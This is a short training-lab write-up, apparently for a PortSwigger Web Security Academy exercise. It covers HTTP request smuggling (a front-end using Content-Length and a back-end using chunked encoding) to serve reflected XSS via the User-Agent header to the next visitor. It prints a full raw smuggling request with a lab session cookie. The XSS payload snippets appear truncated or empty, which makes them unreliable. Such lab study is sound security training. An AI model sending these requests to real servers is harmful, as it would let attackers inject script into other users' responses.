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# HTTP Request Smuggling to Deliver Reflected XSS
HTTP Request Smuggling to Deliver Reflected XSS notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### Exploiting HTTP Request Smuggling to Deliver Reflected XSS
The lab is setting up a front-end server and a back-end server. / The front-end **does not support chunked encoding**, which paves the way for an attack of **HTTP Request Smuggling**.
The application also has a vulnerability of **XSS reflected via the header User-Agent**.
The goal is to **give a smuggled** request back-end so that **the next victim user request receives a response containing an XSS payload running `alert(1)`**.
The lab periodically generates requests for the
### XSS Vulnerability in User Agent
The `userAgent` field in the forms is reused directly in the response, allowing injection:
{% code overflow="wrap" %}
```html
```
{% endcode %}
This payload is accepted and interpreted, confirming XSS vulnerability.
{% code overflow="wrap" %}
```html
">
```
{% endcode %}
### **Objective of Attack**
The idea is to use smuggling to ensure that:
1. The front-end reads the request according to **Content-Length**.
2. The back-end reads according to **Transfer-Encoding: chunked**.
3. The smuggled request modifies the next request of the victim user.
4. The server then returns a response containing our XSS payload in the User-Agent header.
### **Smuggled Application Request**
You propose a POST query containing an empty body (`0/r/n/r/n`) to finish the chunked part, followed by the request for back-end
```http
POST / HTTP/1.1
Host: 0a03007904861a418091d63e00800003.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 172
Transfer-Encoding: chunked
0
GET /post?postId=6 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=tacWnPVGep8Me8A2MnkwA8hx5mrBU9la
User-Agent: ">
```
This second request (smuggled) will be interpreted by the back-end as forming part of the next request — the victim user's — allowing the XSS payload to be injected into the response it will receive.
---
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